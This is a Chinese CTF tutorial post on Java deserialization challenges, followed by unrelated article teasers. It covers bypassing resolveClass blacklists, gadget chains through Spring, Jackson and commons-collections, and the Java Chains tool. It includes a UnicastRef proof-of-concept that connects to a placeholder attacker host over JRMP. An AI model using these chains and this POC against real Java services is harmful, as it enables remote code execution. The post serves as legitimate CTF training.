網絡安全之淺析Java反序列化題目

前言

這段時間做了幾道Java反序列化題目,發現很多題目都是類似的,并且可以通過一些非預期gadget打進去,就打算總結一下常見的題目類型以及各種解法,并提煉出一般性的思維方法。

正文

分析入口點

拿到題目,有附件最好。有些題目也并非是黑盒,可以通過路徑穿越等方式把源碼拉取下來,例如[網鼎杯 2020青龍組]FileJava。

題目比較常見的是Spring Boot框架。找到入口點,分析反序列化的具體方式。CTF中的Java反序列化一般是三種方式:

  1. 原生反序列化
  2. Jackson/FastJson反序列化
  3. 框架自寫的反序列化(Hessian2/Kryo)

原生反序列化入口點分析

以**[MTCTF2022]easyjava**為例:

使用了自寫的MyObjectInputStream類來處理反序列化,一般來說都會重寫resolveClass方法對黑名單類進行一次判斷

這種黑名單判斷是無法繞過的,其原理在于原生反序列化流程會創建一個desc(類描述符),其name屬性是類的全限定名,resolveClass方法對desc里的name屬性進行黑名單檢測,這里的desc是我們無法自行修改的。

還有一種黑名單對String進行包名檢測:

很好繞過,P神的這篇文章有詳細分析。

話說回來,對于resolveClass方法對desc.name進行黑名單檢測,一般的思路是如何的呢?

  1. 最好是0day,但是常規來說也沒人專門捏著0day往這里砸吧;
  2. 其次是黑名單里沒寫的類,比如UncaistRef或者其外面的代理類(這個類的優點我下面會講);
  3. 再者是打二次反序列化,不走題目給的resolveClass邏輯······但是往往一些比較常用的二次反序列化類(Signedobject、RmiConnector)也放不出來,自己多積累幾個。
  4. 最后就是看看題目給的一些類。

上面所講的四個思路是通用的,并且在下文都會用到。

Jackson/FastJson反序列化

部分CTF題目有用到這種反序列化,比如Bugku-CTF-Java Fastjson Unserialize[VNCTF2021]realezjvav等。但是原理比較簡單,無非起一個遠程服務,然后反序列化com.sun.rowset.JdbcRowSetImpl等類觸發一個RMI或者LDAP請求。這里就不做贅敘。

框架自寫的反序列化(Hessian2/Kryo)

無論是Hessian2還是Kryo,其原理都是在反序列化過程中,如果反序列化對象是Map類,都會調用對應的put方法。

下面以[CISCN 2023 西南]seaclouds為例,該題采用kryo反序列化。在賽場是0解,因為賽制是斷網,憑借個人調試發現該利用點是比較有難度的。

這種框架自寫的反序列化,我們的側重點是分析各種類的反序列化流程,冀以找到自動調用的方法,比如kryo反序列化HashMap類,使用MapSerializer觸發put方法:

構造gadget

構造gadget是一門大學問,想要能力有所提高,就應該盡可能地嘗試多種鏈子。

構造之前

不要急著構造鏈子,先看看題目提供了哪些依賴。

有些題目給的依賴多一點,比如[MTCTF2022]easyjava:(只給出常見的可以利用的依賴)

- "BOOT-INF/lib/jackson-databind-2.13.3.jar"
- "BOOT-INF/lib/jackson-annotations-2.13.3.jar"
- "BOOT-INF/lib/jackson-core-2.13.3.jar"
- "BOOT-INF/lib/tomcat-embed-core-9.0.65.jar"
- "BOOT-INF/lib/shiro-core-1.5.2.jar"
- "BOOT-INF/lib/commons-beanutils-1.9.4.jar"
- "BOOT-INF/lib/commons-collections-3.2.2.jar"
- "BOOT-INF/lib/hibernate-core-4.3.8.Final.jar"
- "BOOT-INF/lib/hibernate-commons-annotations-4.0.5.Final.jar"
- "BOOT-INF/lib/javassist-3.18.1-GA.jar"

有些題目給的就很少了,比如**[CISCN 2023]deserbug**:

commons-collections-3.2.2,真的令人難評。該版本對一些敏感類進行了一個檢測,具體參考這篇文章

因為deserbug這道題沒有給出設置系統屬性的依賴,所以我們即使使用UnicastRef打到JRMP服務端,也利用不了cc3等鏈子。

遇到這種情況,就該看看題目所給的類對我們有沒有幫助。deserbug給了Myexepct類,危險方法如下:

那很好說了,TrAXFilter類在實例化過程中會調用TemplatesImpl.newTransformer方法:

要注意的是,Myexpect類的typeparam屬性得是new Class[]{Templates.class}

有些題目是只允許白名單,比如**[羊城杯 2020]a_piece_of_java**:

那就只能老老實實利用題目給的類了。

如何構造

現在,我們知道入口點和觸發點了,但是如何構造鏈子呢?

UnicastRef

我比較喜歡利用UnicastRef類,它有以下幾個優點:

  1. JDK自帶的,對依賴沒有要求
  2. 該類有readExternal方法,相當于readObject方法,無需為尋找調用鏈煩惱
  3. jrmp服務端響應的數據走系統的反序列化流程而不是題目重寫的MyObjectInpuct()
  4. 黑名單禁止該類?我有更多的方法(下文講)。

缺點:

  1. 本質上是打一個JRMP請求,不能斷網
  2. 黑名單常客

構造POC也很簡單:

public static UnicastRef getRef() throws Exception {ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 13999);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));return ref;}

上面說了,如果把UnicastRef放到黑名單怎么辦,具體原理可以參考筆者blog,看Lab7:JavaDeserializeLabs

簡而言之,我至少有這么多個的代理類可以選:

實際上反制手段也不難,把RemoteStub類甚至RemoteObject類給寫入黑名單就可以了。

常用依賴

不看UnicastRef了,想想別的辦法。那就只能看依賴了。現在很多題目都使用Spring Boot,以其為例。

Spring Boot自帶Jackson,Jackson本身存在一些類可以用于原生反序列化。再說,Spinrg Boot本身配合Jackson,就可以打出好幾個鏈子。

不說yso給的Spring1和2,還有這一條:

/*** hashMap#put()->* HotSwappableTargetSource#equals()->* Xstring#equals()->* BaseJsonNode#toString()->* templatesImpl#getOutputProperties()*/

然后這位師傅也發現了一條只依賴Spring-aop的:在spring-aop中挖掘新反序列化gadget-chain

Java Chains

P神等大佬寫的工具,內置了很多鏈子,肯定有大家沒了解過的,多翻翻:

這個工具還有JNDI、JRMP、Fake Mysql等的服務端和payload,真的是神器!項目地址:Java Chains Official Website | Java Chains

結語

多做題,發現這些題目其實都是有規律的,先發現入口點和限制,再根據已知依賴打gadget,本質上還是要多見多積累。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/903648.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/903648.shtml
英文地址,請注明出處:http://en.pswp.cn/news/903648.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

動態規劃問題,下降路徑最小和(dp初始化問題,狀態壓縮),單詞拆分(回溯法+剪枝+記憶化),substr函數

下降路徑最小和 題目鏈接: 931. 下降路徑最小和 - 力扣(LeetCode) 題目描述: 給你一個 n x n 的 方形 整數數組 matrix ,請你找出并返回通過 matrix 的下降路徑 的 最小和 。 下降路徑 可以從第一行中的任何元素開…

大數據治理自動化與智能化實踐指南:架構、工具與實戰方案(含代碼)

??個人主頁??:一ge科研小菜雞-CSDN博客 ????期待您的關注 ???? 一、引言:從人治到機治,數據治理正在進化 隨著數據體量持續膨脹、數據場景復雜化,傳統依賴人工規則的大數據治理方式已難以為繼。企業在治理過程中面臨: 數據質量問題激增,人工檢測成本高 元數…

Golang - 實現文件管理服務器

先看效果: 代碼如下: package mainimport ("fmt""html/template""log""net/http""os""path/filepath""strings" )// 配置根目錄(根據需求修改) //var ba…

Linux-04-用戶管理命令

一、useradd添加新用戶: 基本語法: useradd 用戶名:添加新用戶 useradd -g 組名 用戶:添加新用戶到某個組二、passwd設置用戶密碼: 基本語法: passwd 用戶名:設置用戶名密碼 三、id查看用戶是否存在: 基本語法: id 用戶名 四、su切換用戶: 基本語法: su 用戶名稱:切換用…

Ollama 安裝 QWen3 及配置外網訪問指南

一、Ollama 安裝 QWen3 安裝步驟 首先嘗試運行 QWen3 模型: ollama run qwen3 如果遇到版本不兼容錯誤(Error 412),表示需要升級 Ollama: curl -fsSL https://ollama.com/install.sh | sh 驗證版本: o…

高性能架構設計-數據庫(讀寫分離)

一、高性能數據庫簡介 1.高性能數據庫方式 讀寫分離:將訪問壓力分散到集群中的多個節點,沒有分散存儲壓力 分庫分表:既可以分散訪問壓力,又可以分散存儲壓力 2.為啥不用表分區 如果SQL不走分區鍵,很容易出現全表鎖…

【Hive入門】Hive性能優化:執行計劃分析EXPLAIN命令的使用

目錄 1 EXPLAIN命令簡介 1.1 什么是EXPLAIN命令? 1.2 EXPLAIN命令的語法 2 解讀執行計劃中的MapReduce階段 2.1 執行計劃的結構 2.2 Hive查詢執行流程 2.3 MapReduce階段的詳細解讀 3 識別性能瓶頸 3.1 數據傾斜 3.2 Shuffle開銷 3.3 性能瓶頸識別與優化 4 總結 在大…

開源模型應用落地-qwen模型小試-Qwen3-8B-快速體驗(一)

一、前言 阿里云最新推出的 Qwen3-8B 大語言模型,作為國內首個集成“快思考”與“慢思考”能力的混合推理模型,憑借其 80 億參數規模及 128K 超長上下文支持,正在重塑 AI 應用邊界。該模型既可通過輕量化“快思考”實現低算力秒級響應,也能在復雜任務中激活深度推理模式,以…

Kafka Producer的acks參數對消息可靠性有何影響?

1. acks0 可靠性最低生產者發送消息后不等待任何Broker確認可能丟失消息(Broker處理失敗/網絡丟失時無法感知)吞吐量最高,適用于允許數據丟失的場景(如日志收集) 2. acks1 (默認值) Leader副本確認模式生產者等待Le…

虛擬機centos7安裝docker

虛擬機CentOS 7上安裝 Docker流程 1. 更新系統軟件包 需要確保系統軟件包是最新的 sudo yum -y update sudo:以超級用戶權限執行命令。 yum:CentOS的包管理器工具。 -y:自動確認所有提示,直接執行。 2. 安裝 Docker 依賴 在安裝 …

ZYNQ MPSOC之PL與PS數據交互DMA方式

ZYNQ MPSOC之PL與PS數據交互DMA方式 1 摘要 XILINX ZYNQ 以及 ZYNQ MPSOC主要優勢在于異構 ARM+FPGA。其中非常關鍵的一點使用了 AXI 總線進行高速互聯。而且這個 AXI 總線是開放給我們用戶使用的。在前面的文章中我們詳解了使用了AXI-HP方式PL到PS端進行數據交互。本文主要涉…

枚舉法——C++算法【淚光2929】

前言 "打牢基礎,萬事不愁" .C的基礎語法的學習."學以致用,邊學邊用",編程是實踐性很強的技術,在運用中理解,總結. 引入 枚舉在成熟框架中,用得還挺多的.枚舉可以讓程序更容易理解 之前寫過一篇關于枚舉的帖子--- 白話編程---數據篇(4)枚…

HarmonyOS NEXT應用開發-Notification Kit(用戶通知服務)notificationManager.cancelAll

1.notificationManager.cancelAll 支持設備Phone2in1TabletCarWearable cancelAll(callback: AsyncCallback<void>): void 取消當前應用所有已發布的通知。使用callback異步回調。 系統能力&#xff1a;SystemCapability.Notification.Notification 示例&#xff1a; …

Mac 創建QT按鈕以及一些操作

在創建QT項目好 后我們打開mainwindow.cpp&#xff0c;下面所示的代碼都是在這個cpp文件里面因為它是窗口的入口函數 #include "mainwindow.h" #include "ui_mainwindow.h" #include<QPushButton>//按鈕的頭文件MainWindow::MainWindow(QWidget *pa…

開源協議全解析:類型、選擇與法律風險規避指南

[TOC] 在當今開源軟件主導的技術生態中&#xff0c;開源協議&#xff08;Open Source License&#xff09;是決定項目能否被商業使用、二次開發的關鍵法律文件。據統計&#xff0c;GitHub上超過70%的項目使用某種形式的開源協議&#xff0c;但其中近30%存在協議兼容性問題。本…

TM1668芯片學習心得一

一、TM1668 是一種帶鍵盤掃描接口的LED&#xff08;發光二極管顯示器&#xff09;驅動控制專用電路&#xff0c;內部集成有MCU 數字接口、數據鎖存器、LED 高壓驅動、鍵盤掃描等電路。本產品性能優良&#xff0c;質量可靠。主要應用于VCR。 學習鏈接 二、 三、顯示寄存器的地址…

時空特征如何融合?LSTM+Resnet有奇效,SOTA方案預測準確率超91%

LSTM有著不錯的時序信息提取能力&#xff0c;ResNet有著不錯的空間特征信息提取能力。如果現在有時空特征融合的創新需求&#xff0c;我們是否能將LSTM和ResNet兩者的優點融合起來呢&#xff1f; 隨著這個思路下去&#xff0c;LSTM ResNet混合模型橫空出世&#xff0c;在各個…

[PRO_A7] SZ501 FPGA開發板簡介

SZ501 FPGA開發板簡介 概述 SZ501 FPGA開發板是專為高性能FPGA設計、快速原型開發和復雜應用調試打造的先進開發平臺。搭載Xilinx Artix-7系列XC7A100T FPGA芯片&#xff0c;SZ501提供卓越的邏輯運算能力和靈活的接口支持&#xff0c;廣泛適用于通信、信號處理、嵌入式系統及…

企業微信jdk 授權 記錄

1、npm install wecom/jssdk 2、index.html 引入 <script src"https://wwcdn.weixin.qq.com/node/open/js/wecom-jssdk-2.0.2.js"></script> 3、創建js import * as ww from "wecom/jssdk"; /*** 獲取企業微信jdk局方法----------------…

Android13增加第三方類實現加入到系統

1、將需要的添加包放在/frameworks/base/core/java/com目錄下&#xff0c;比如devmgr/devicemgr/DeviceMgr.java package com.devmgr.devicemgr; import android.content.Context; public class DeviceMgr {private volatile static DeviceMgr instance null;private Context…